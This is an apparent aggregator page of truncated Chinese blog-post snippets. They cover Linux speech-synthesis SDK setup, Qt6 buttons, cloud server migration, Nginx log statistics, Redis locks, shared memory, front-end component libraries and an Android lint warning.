linux 基于科大讯飞的文字转语音使用

官方文档地址&#xff1a;离线语音合成 Linux SDK 文档 | 讯飞开放平台文档中心 一、SDK下载 1、点击上面官方文档地址的链接&#xff0c;可以跳转到以下界面。 2、点击“普通版”&#xff0c;跳转到以下界面。 3、点击“下载”跳转到以下界面 4、最后&#xff0c;点击“SDK下…

Qt6入门教程 12:QAbstractButton

目录 一.状态 二.信号 三.使用 1.自定义按钮 2.多选 3.互斥 QAbstractButton类实现了一个抽象按钮&#xff0c;并且让它的子类来指定如何处理用户的动作&#xff0c;并指定如何绘制按钮。QAbstractButton类是所有按钮控件的基类。 QAbstractButton提供…

【阿里云服务器数据迁移】 同一个账号 不同区域服务器

前言 假如说一台云服务器要过期了,现在新买了一台,有的人会烦恼又要将重新在新的服务器上装环境,部署上线旧服务器上的网站项目, 但是不必烦恼,本文将介绍如何快速将就旧的服务器上的数据迁移到新的服务器上. 包括所有的环境和网站项目噢 ! 步骤 (1) 创建旧服务器自定义镜像…

Linux命令 - 统计log日志某接口用户访问频次并排序

​ 背景 某天发现内部人员使用的app服务器访问突增&#xff0c;但不影响服务正常运行&#xff0c;想通过log统计接口的人员访问频次。 从监控平台可以看到访问激增的接口&#xff0c;因Nginx不缓存用户信息只有访问IP&#xff0c;日志清洗的Hive表只能访问前一天&#xff0c;…

行测-资料:2. 一般增长率、增长量

1、一般增长率 1.1 百分数和百分点 50%&#xff0c;20% 1.2 增长率和倍数 1.5&#xff1b;50 1.3 成数和翻番 1.4 增幅&#xff0c;降幅&#xff0c;变化幅度 A&#xff0c;A&#xff0c;D B&#xff0c;高于全国增速 2.3 个百分点&#xff0c;21.8 - 2.3 19.5。 5%&#xff0…

打开 IOS开发者模式

前言 需要 1、辅助设备&#xff1a;苹果电脑&#xff1b; 2、辅助应用&#xff1a;Xcode&#xff1b; 3、准备工作&#xff1a;苹果手机 使用数据线连接 苹果电脑&#xff1b; 当前系统版本 IOS 17.3 通过Xcode激活 两指同时点击 Xcode 显示选择&#xff0c;Open Develop…

重生奇迹MU平民玩家推荐的职业

女魔法师 女魔法师是一个非常适合平民玩家的职业选择。她拥有着强大的魔法攻击能力&#xff0c;可以轻松地击败敌人。而且女魔法师的装备价格相对较低&#xff0c;适合玩家们的经济实力。 精灵射手 精灵射手是一个非常灵活的职业选择。他们可以远程攻击&#xff0c;可以在战…

使用PCL进行法向量可视化

使用PCL进行法向量可视化 文章目录 1、使用PCL进行法向量可视化2、计算所有点的法线并显示3、计算一个子集的法线 1、使用PCL进行法向量可视化 #include <iostream> #include <pcl/io/pcd_io.h> #include <pcl/visualization/pcl_visualizer.h> #include &l…

element plus使用问题

文章目录 element plusvue.config.js注意1、有时候会报错 not a function2、使用 ElMessage 报错3、 element plus 版本过高4、警告Feature flag VUE_PROD_HYDRATION_MISMATCH_DETAILS is not explicitly defined.5、报错 ResizeObserver loop completed with undelivered noti…

Redis高级应用

文章目录 1.5.1 布隆过滤器BloomFilter1.5.1.1 原理1.5.1.2 使用场景 1.5.2 Redis分布式锁1.5.2.1 使用案例分析1.5.2.1.1 单机版没加锁1.5.2.1.2 单节点Redis实现分布式锁1.5.2.1.3 集群下的分布式及CAP1.5.2.1.4 Redisson可靠分布式锁1.5.2.1.5 Redis分布式锁-Redlock算法1.5…

Linux之进程间通信(system V 共享内存)

目录 一、共享内存 1、基本原理 2、共享内存的创建 3、共享内存的释放 4、共享内存的关联 5、共享内存的去关联 6、查看IPC资源 二、完整通信代码 三、共享内存的特点 四、信号量 1、相关概念 2、信号量概念 进程间通信的本质就是让不同的进程看到同一个资源。而前…

微信小程序(二十)Vant组件库的配置

教程很详细&#xff0c;直接上过程 上一篇 官方文档也有&#xff0c;但是因为版本的更新&#xff0c;官方文档并没有跟着改变&#xff0c;这里我写一份最新版能用的教程 &#xff08;口头禅还是不能少的&#x1f923;&#x1f923;&#x1f923;&#xff09; 灵魂拷问&#xf…

Android Studio 提示Use app:drawableStartCompat instead of android:drawableStart

每次提交代码时&#xff0c;AS这个老妈子总爱唠叨一堆warning&#xff0c;这些Warning都在讲什么&#xff1f; 1.Use app:drawableStartCompat instead of android:drawableStart 在Android开发中&#xff0c;android:drawableStart和app:drawableStartCompat是两个用于设置…